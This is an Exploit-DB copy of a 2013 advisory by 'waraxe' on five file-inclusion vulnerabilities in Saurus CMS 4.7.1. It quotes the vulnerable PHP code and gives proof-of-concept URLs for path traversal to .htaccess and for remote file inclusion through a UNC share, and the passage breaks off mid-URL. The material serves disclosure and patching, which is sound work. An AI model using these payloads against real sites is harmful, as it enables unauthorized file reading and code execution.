Exploit-DB #26894
Description: Saurus CMS 4.7.1 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2013-07-16
Author: waraxe

Exploit:
[waraxe-2013-SA#106] - Multiple Vulnerabilities in Saurus CMS 4.7.1
================================================================================

Author: Janek Vind "waraxe"
Date: 14. July 2013
Location: Estonia, Tartu
Web: http://www.waraxe.us/advisory-106.html


Description of vulnerable software:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Web publishing system combining daily content management features with site
administration and development tools.

http://www.saurus.info/

Vulnerable was version 4.7.1 before 07. June 2013, older versions not tested:

http://www.saurus.info/version-history/


###############################################################################
1. Local File Inclusion in "admin/fckeditor_dialog_image.php"
###############################################################################

Reason:
 1. insufficient sanitization of user-supplied data
Attack vector:
 1. user-supplied parameter "dialog"
Preconditions:
 1. Logged in as Saurus CMS user
 2. At least one valid file ID must be known (can be bruteforced)

Php script "admin/fckeditor_dialog_image.php" line 101:
------------------------[ source code start ]----------------------------------
$object = new Objekt(array(
  'objekt_id' => (int)$site->fdat['file_id'],
  'on_sisu' => 1,
));
..
include_once('../js/fckeditor/editor/'.$site->fdat['dialog']);
------------------------[ source code end ]------------------------------------

Test (parameter "file_id" must be valid):

http://localhost/saurus471/admin/fckeditor_dialog_image.php?file_id=10572&dialog=../../../.htaccess

Result: contents of ".htaccess" file from Saurus CMS root directory will be
revealed, LFI confirmed.


###############################################################################
2. Local File Inclusion in "extensions/saurus4/captcha_image.php"
###############################################################################

Reason:
 1. uninitialized variable "$captcha"
Attack vector:
 1. user-supplied parameter "captcha"
Preconditions:
 1. PHP setting "register_globals = on"


Php script "extensions/saurus4/captcha_image.php" line 45:
------------------------[ source code start ]----------------------------------
switch ($captcha['image_type'])
{
  case 'gif':
    include_once($class_path.'lgpl/GotchaGIF.class.php');
    $img = new GotchaGIF($captcha['image_width'], $captcha['image_height']);
    break;
..
if($img->create())
{
  //apply effects
  foreach($captcha['effects'] as $effect)
  {
    $effect_name = $effect['name'];
    //echo $effect_name;
    include_once($class_path.'lgpl/'.$effect_name.'.class.php');
------------------------[ source code end ]------------------------------------

Test:

http://localhost/saurus471/extensions/saurus4/captcha_image.php?
captcha[image_type]=gif&captcha[image_width]=50&captcha[image_height]=50&
captcha[effects][0][name]=../waraxe

Result:

Warning: include_once(../../classes/lgpl/../waraxe.class.php) [function.include-once]:
failed to open stream: No such file or directory in
C:\apache_www\saurus471\extensions\saurus4\captcha_image.php on line 73

PHP error message above confirms LFI vulnerability.


###############################################################################
3. Local File Inclusion in "admin/edit.php"
###############################################################################

Reason:
 1. insufficient sanitization of user-supplied data
Attack vector:
 1. user-supplied parameter "extension_path"
Preconditions:
 1. Logged in as Saurus CMS user


Php script "admin/edit.php" line 76:
------------------------[ source code start ]----------------------------------
if($site->fdat['extension_path'])
{
  $actions_file = '..'.$site->fdat['extension_path'].'/actions.inc.php';
..
if (file_exists($actions_file)){
  include_once($actions_file);
------------------------[ source code end ]------------------------------------


###############################################################################
4. Remote File Inclusion in "map.php"
###############################################################################

Reason:
 1. insufficient sanitization of user-supplied data
Attack vector:
 1. user-supplied GET parameter "cmd"
Preconditions:
 1. Windows server


Php script "map.php" line 56:
------------------------[ source code start ]----------------------------------
$tmp_cmd=explode("/",$_GET['cmd']);
..
foreach($tmp_cmd as $t){

  // if the there is a .php in the URL then don't use aliases go directly to that file
  if(preg_match('/\.php$/i', $t) && file_exists($t) && !preg_match("#^\.\./#", $t))
..
    include($t);
------------------------[ source code end ]------------------------------------

On *nix servers this code above is secure enough, but things change in case of
Windows server - attacker is able to use backslashes, which leads to RFI.

Example attack using local file:

http://localhost/saurus471/map.php?cmd=..\..\..\..\test.php

Example attack using remote file:

http://localhost/saurus471/map.php?cmd=\\192.168.1.25\test.php


###############################################################################
5. Remote File Inclusion in "admin/change_config.php"
###############################################################################

Reason:
 1. uninitialized variable "$class_path"
Attack vector:
 1. user-supplied parameter "class_path"
Preconditions:
 1. PHP setting "register_globals = on"


Php script "admin/change_config.php" line 25:
------------------------[ source code start ]----------------------------------
global $class_path;
..
if(!isset($class_path)) {
  $class_path = "../classes/";
}
..
include_once($class_path."port.inc.php");
------------------------[ source code end ]------------------------------------

Test:

http://localho